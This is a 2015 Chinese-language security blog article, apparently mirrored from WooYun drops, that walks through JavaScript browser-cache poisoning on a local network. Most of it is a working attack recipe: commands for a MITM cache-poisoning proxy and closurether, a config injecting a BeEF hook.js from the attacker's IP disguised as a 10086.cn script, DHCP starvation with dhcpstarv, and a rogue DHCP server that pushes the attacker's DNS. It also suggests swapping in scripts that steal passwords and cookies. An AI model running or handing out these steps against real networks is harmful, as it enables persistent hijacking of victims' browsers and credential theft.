Javascript快取投毒學習與實戰

wyzsk發表於2020-08-19
作者: Evi1cg · 2015/10/28 19:02

0x00 起因


[email protected] wifi,然後聊到了快取投毒:

Alt text

然後看到wooyun wifi的這個說明:

預設情況下該功能附帶快取投毒功能,將檢視快取所有的頁面至2099年,您可以透過清除所有快取以及瀏覽器資料來清除快取投毒的影響。

覺得這是個很不錯的技術,所以查詢谷爺,度娘,[email protected] 大牛寫的文章以後,就有了這篇文章,也算是一個總結。

0x01 簡介&原理


js快取投毒說白了就是受害者的瀏覽器快取了一個被我們篡改的js指令碼,如果快取沒有被清除,每次這個受害者訪問網頁的時候都會載入我們的js指令碼。

那他是什麼原理呢,很簡單,其實就是瀏覽器的快取機制,通常,為了加速各種靜態資源的訪問,各大網站會把一些靜態資源快取到客戶端,這樣一方面能提高客戶體驗,一方面也能減輕web伺服器的壓力。

瀏覽器快取控制機制有兩種:HTML Meta標籤 以及 HTTP頭資訊,通常,web開發者可以在HTML頁面的<head>節點中加入<meta>標籤,比如:

#!html
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">

程式碼的作用是告訴瀏覽器當前頁面不被快取,每次訪問都需要去伺服器拉取。 更多瀏覽器快取機制我就不多說了,詳情請戳我

要想預載入並快取一個指令碼很容易,只需new Image().src=''。當然有少數瀏覽器不支援,不過ie和chrome都是支援的。儘管js檔案並不是一個圖片,但仍然會快取。

0x02 準備工作


安裝node

wget https://codeload.github.com/nodejs/node/zip/master -O node-master.zip //下載
tar zxvf node-master.zip //解壓
cd node-master
./configure
make //編譯
make install //安裝

安裝closurether

npm install -g closurether

安裝phantomjs

下載安裝,具體詳見 phantomjs,根據自己的系統進行選擇。

0x03 示例


測試過程中,使用了EtherDream大牛的demo。具體過程如下。

下載安裝:

[email protected]:~/Desktop/# git clone https://github.com/EtherDream/mitm-http-cache-poisoning.git js
[email protected]:~/Desktop/# cd js
[email protected]:~/Desktop/js/# npm install

更新快取列表

[email protected]:~/Desktop/js# cd tool/
[email protected]:~/Desktop/js/tool# phantomjs sniffer.js -i url.txt -o target.json

Alt text

這個指令碼的作用主要是為了找出各大網站中快取最久的指令碼資源,也就是我們要進行投毒的指令碼連結。網站可以再url.txt裡面新增,之後將生成的json複製到 asset 目錄。

[email protected]:~/Desktop/js/tool# cp -fr target.json ../asset/

執行

[email protected]:~/Desktop/js/tool# cd ..
[email protected]:~/Desktop/js# node index.js 

測試:

瀏覽器代理 HTTP -> 127.0.0.1:8080 訪問任意 HTTP。

Alt text

關閉代理 開啟126,360等網站(chrome測試成功,火狐失敗)成功彈框。

Alt text

關閉瀏覽器(不清除快取),再次開啟,訪問360時依然會彈框。

其中,index.js實現了代理並替換原本靜態指令碼響應內容,並將響應頭中Cache-Control欄位改為max-age=31536000,如下圖程式碼:

Alt text

而替換的指令碼為asset目錄下的stub.js,stub.js注入外部js關鍵程式碼如下圖:

Alt text

其中www.etherdream.com/hack/trojan.js 為我們可控的js,上例中該js的內容為

alert('xss run: ' + location.href);

我們可以透過修改該指令碼內容來實現不同的功能。

0x04 實戰


此次實戰在區域網中結合使用了dhcpstarv,isc-dhcp-server,beef以及closurether。攻擊機使用了kali2.0。

1.開啟beef

[email protected]:~# cd /usr/share/beef-xss/
[email protected]:/usr/share/beef-xss# ./beef

2.配置closurether

獲取最新的快取列表

[email protected]:~# cd /usr/local/lib/node_modules/closurether/tool/cache-sniffer
[email protected]:/usr/local/lib/node_modules/closurether/tool/cache-sniffer#  phantomjs sniffer.js

可以透過修改url.txt的內容來指定網站,此次測試過程中url中包含126以及360幾個網站。 配置config.json檔案如下:

{
        "hacker_url": "http://192.168.1.108:3000/hook.js",
        "inject_url": "http://10086.cn/js10086/201306301200.js",
        "debug": false,
        "dump": false,
        "dumpPath": "./dump/"
}

其中hacker_url為我們的js地址,此處為beef的js地址,inject_url 為偽裝的js地址。

執行closurether:

[email protected]:~# closurether
[SYS] local ip: 192.168.1.108
[DNS] running 0.0.0.0:53
[WEB] listening :::80
[WEB] listening :::443

2.進行dhcp攻擊:

下載dhcpstarv,安裝:

[email protected]:~/Desktop# tar zxvf dhcpstarv-0.2.1.tar.gz
[email protected]:~/Desktop# cd dhcpstarv-0.2.1/
[email protected]:~/Desktop/dhcpstarv-0.2.1# ./configure
[email protected]:~/Desktop/dhcpstarv-0.2.1# make 
[email protected]:~/Desktop/dhcpstarv-0.2.1# make install

Kali預設沒有安裝dhcpstarv,也可以用yersinia代替

安裝dhcp伺服器:

[email protected]:~# apt-get install isc-dhcp-server

修改dhcp配置檔案dhcpd.conf

[email protected]:~# cd /etc/dhcp/
[email protected]:/etc/dhcp# cp dhcpd.conf dhcpd.conf.bak
[email protected]:/etc/dhcp# vim dhcpd.conf

修改DHCP分配的地址池,修改預設路由為原來路由的Ip,修改廣播地址:

Alt text

設定dns為開啟了closurether的地址,如下圖:

Alt text

這裡最好加一個正常的DNS伺服器地址最為備選,防止我們的DNS服務對部分域名不解析

開啟作業系統的路由轉發:

[email protected]:~# echo "1" > /proc/sys/net/ipv4/ip_forward

啟動DHCP服務:

[email protected]:/etc/dhcp# service isc-dhcp-server start

攻擊正常的dhcp伺服器,耗光ip資源:

[email protected]:~# dhcpstarv -i eth0 -e 192.168.1.108

-e引數後面跟攻擊者的ip

Alt text

然後當有客戶端連入的時候,由於正常的DHCP伺服器已經沒有可分配的IP資源,新的內網主機就會使用攻擊者DHCP伺服器分配的IP,如下圖:

Alt text

可以看到DNS已經改成了我們想要改的地址。

這裡說明下,如果可以直接進路由修改DNS,就直接進路由改,這樣比較穩定,修改DNS為我們執行closurether的地址。

主要工具執行截圖:

Alt text

這時,被篡改DNS的客戶端瀏覽網站的時候,就會執行我們植入的JS指令碼,開啟126以後,可以看到beef那裡已經成功上線了:

Alt text

而我們的js則已經被隱藏為10086的js

Alt text

將路由器重啟,使用正常的DHCP為虛擬機器分配ip地址,使用瀏覽器(未清理快取)開啟360:

Alt text

這時可以看到beef上又上線了:

Alt text

beef的功能很強大,但不是本文的重點,當然js也可以換成其他,別如竊取某些網站的賬號密碼的js,或者獲取客戶端cookie的等等,這裡就不多說了

這樣就達到了時光機的效果,雖然上網環境換了,但是由於瀏覽器的快取沒有清除,任然會執行我們的js,至此整個攻擊完成。

0x05 總結


從上面的整個過程可以得出的結論就是不要隨意透過不認識的wifi上網!

本文由evi1cg原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章